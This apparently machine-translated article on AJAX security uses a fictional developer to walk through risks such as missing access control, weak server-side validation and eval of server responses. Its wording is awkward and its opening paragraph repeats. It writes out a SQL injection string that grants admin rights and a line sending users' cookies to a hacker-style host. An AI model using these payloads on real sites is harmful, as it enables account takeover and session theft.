Web developers will not notice the excitement brought by "AJAX (Asynchronous JavaScript And XML)". Creating smart websites like Google Suggest or web-based applications like Gmail is effortless, thanks in large part to this technology. However, with the development of AJAX applications, we discovered some of its shortcomings, and we found that its security holes are gradually getting larger, just like slowly putting the AJAX-based site into a time bomb. . Web developers will not notice the excitement brought by "AJAX (Asynchronous JavaScript And XML)". Creating smart websites like Google Suggest or web-based applications like Gmail is effortless, thanks in large part to this technology. However, with the development of AJAX applications, we discovered some of its shortcomings, and we found that its security holes are gradually getting larger, just like slowly putting the AJAX-based site into a time bomb. .
Benefits of AJAX
In the good old days of "web apps", things were pretty simple. You fill out a form, click the "Submit" button, and the current screen disappears, waiting a short while before you are transferred to the next page. This is no longer the case today. What users want is a Web experience that is as smooth, fast, and user-friendly as any desktop application.
AJAX often works together with DHTML (Dynamic HTML), and its smooth execution requires allowing the JavaScript code in the web page and the web server to communicate seamlessly in the background. For example, when you start typing something in the Google Suggest search box, the web page and the server begin to exchange data in the background, and then some terms you may need will be given. All this without requiring a page refresh or pressing any buttons. This is also why apps like Gmail do such a good job with real-time spell checking.
How AJAX works
The complex principles of AJAX are beyond the scope of what I want to explain today, so I will only briefly describe them here. The JavaScript code on your page can contact your web server without relying on the user. The core role here is JavaScript's XMLHttpRequest object, which can be triggered in the background or asynchronously by events such as user keystrokes or clock events (that is, the term asynchronous JavaScript and XML).
If you type "ajax" into Google Suggest, you will get a server request like the one I got after typing:
1. www.google.com/complete/search?hl=en&js=true&qu=aj
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
The XML part of this terminology is a bit misleading; it actually has no meaning. It gets its name from the JavaScript object, and many AJAX-style applications use XML, that can make a request to the server for any transaction. Even the JavaScript code itself can be retrieved and evaluated. Continuing to complete my input of "ajax example" will produce the following response from Google's servers:
sendRPCDone(frameElement, "ajax example", new Array("ajax example", "ajax examples"), new Array("153,000 results", "177,000 results"), new Array(""));
This should give you a hint about the power of AJAX, with its ability to add new JavaScript code to the browser on the fly. However, the optimal approach seems to bind the XML protocol. To give an example, for example, Google produced the following:
ajax example
153,000
ajax examples
177,000
Obviously, you can parse this XML data in a suitable form, but we have to thank JavaScript for its ability to handle XML objects very well under some very typical constraints and a lot of nasty IE bugs.
In order to help you understand some Ajax issues, I am here to introduce you to an imaginary travel company - "Times Cutting Edge Travel Company". Spurred by an AJAX bug, their lead web developer, Max Uptime, decided to mix AJAX in order to create an application like this. In this way, he was ahead of the curve.
AJAX problem
More than half of AJAX security risks come from vulnerabilities hidden in the server. Clearly, good design using secure coding techniques goes a long way toward making AJAX more secure, and we have Max to thank for his familiarity with the Open Web Application Security Project (OWASP)'s top 10 worst web application security Vulnerability List ( www.owasp.org ). Unfortunately, when Max implemented AJAX, he still had to face a number of additional factors:
1. New technology: If Max wanted to connect his site to a SQL database, he found millions of examples on Google. AJAX technology, no matter how young this technology is, it is still relatively early in the procurement cycle, although only a few good examples of it appear on the web. In order to solve some difficult and unnecessary complex problems, this requires developers like Max to develop independently. Max would have to write server-side and client-side code, creating protocols that he was not sure about (especially for server responses). No matter how good these agreements are, they will be reflected on the page in time.
2. Non-traditional design: AJAX is a little different from traditional design because such an application is half client and half server. In Max's case, he is the only developer, so he can code for both the server and the client. Developing in two different languages at the same time (especially in the early stages) will create some rudimentary coding errors because it will jump back and forth between two ends. What is great on one end may not work on the other end. competent. Even if Max has a large development team, security coding responsibilities may arise when code is handed off between the server and client development teams.
3. Too many scripting languages: Max used his own ingenuity to decide to build the best travel check-in tool in the world. You start registration by entering your current location (via postal code, phone area code, GPS, etc.) and an AJAX request is immediately sent to determine your exact location. From that point on, the screen populates with all the travel options available to you, all before you even decide where you want to go, when you want to leave and who you want to go with. .
The cells and controls on this screen are all AJAX driven, and the server-side and client-side scripts may require over 20 different server calls. You can imagine a small individual server program, such as findairportsbylocation.aspx or determinemaxbaggageallowancebyairline.php.
It became apparent that without Max's careful planning (such as creating versatile "overloaded" JavaScript functions and server scripts), he would have created over 40 separate pieces for each design. More programming means more errors and bugs, which means more time writing, managing, testing, and updating code. Not only that, but because of the large number of such scripts used in client-side JavaScript code, they also tend to become very forgetful during formal program testing.
4. Make sure a small amount of AJAX won't cause harm: This site is a site for planning a trip, but Max is thinking that it will immediately provide you with a satellite view showing the precise location and the weather conditions of your destination. Also available to you. One of the great temptations of AJAX is that it seems like it's doing something else right up to the last minute, like a commentator is there explaining, using AJAX for AJAX's sake. When Max starts trying out his new ideas, he will gradually try to add more new features, completely ignoring the need for testing.
5. Insecure communication: Each AJAX call may only return a small amount of data to the client, but that data is private and confidential. Max can write a handy tool to digitally verify your credit card numbers, but what if you use plain text instead over SSL to send the data? It's an obvious question, but when there are many routines to consider, Especially when the other 99% of the data on the screen is not truly confidential data, it is easy to ignore SSL.
6. Server-side access control: Using JavaScript programs to trigger AJAX often hides some obvious coding errors. Server-side access control is one example. Suppose Max wants to provide you with your favorite hotel based on a detailed destination you visited last time. He might look like this:
showprevioushotels.aspx?userid=12345&destination=UK
This is of course very good, but what if a malicious user changes the URL to something like this:
showprevioushotels.aspx?userid=12346&destination=%
Will they get other people's favorite hotels? (Note: % is a wildcard character in the SQL statement). Undoubtedly, this is a harmless example, but Max should use sessions, cookies, or other tokens to ensure that data can and only be sent to the correct user. They may be just a small part of the data, but they may be the most important part.
7. Server-side validation: There are actually two problems here. First, AJAX controls are often used to validate user input before final submission to the server. This paralyzes Max and gives him a false sense of security because he sets up a function called alloweddestinations.php that determines the correct destination for the user based on their ID.
Since this is a server-side check, he does not have to worry about doing the check on the server again when the page is finally submitted. We assume that no malicious user can subvert the response from alloweddestinations.php or destroy the final request to the server. request.
AJAX controls can validate user input more carefully than the user themselves, but they still often do the final validation on the server.
The second problem with AJAX validation is that the control itself is subject to validation vulnerabilities. Again, URLs are often hidden, so they are often forgotten. For example, maybe I can use SQL Injection to attack the script just now, as follows:
showprevioushostels.aspx?userid='; update users set type='admin' where userid=12345;--
It will allow me to log in with system administrator rights. Of course, how to obtain those table names and field names is beyond the scope of this article, but you already know this situation, don't you?
8. Client-side verification: We already know that in the Google Suggest example just now, it is feasible to dynamically create and execute JavaScript functions by simply evaluating the server-side response. Without any form of validation (which would be difficult to ensure reliability and fluency on the client side), the client will simply do what the server requires it to do.
In this case, since the actual code execution is never visible to a normal user (i.e. you can't "view the source"), it potentially opens up a complete attack path for malicious hackers. guide. If the server's response is constantly being tampered with (either on the web server itself or during data transfer), this attack will be difficult to detect.
Max uses the following response to update the weather icon on the destination web page. The function he uses is the eval(); function:
updateWeatherIcon('cloudy.gif');
However, a malicious cracker can change this function into the following form, making the attack more difficult to detect:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');
We are now able to track each user's session ID/cookie on our own servers.
summary
There is no doubt that AJAX and AJAX-style technologies are the bright road to web design. Developers can create real "applications" on the web that have never been possible before, but care must be taken when using AJAX to ensure the security of the web site.
However, one of the biggest threats comes from increasingly sophisticated client-side scripts and server-side scripts that use AJAX. These scripts are hidden from view by technical means, making testing unintuitive; at the same time, this new technology also seems to cause web developers to forget the basics of good coding. Issues like access control and input validation are not going away, they are becoming more numerous and complex.
-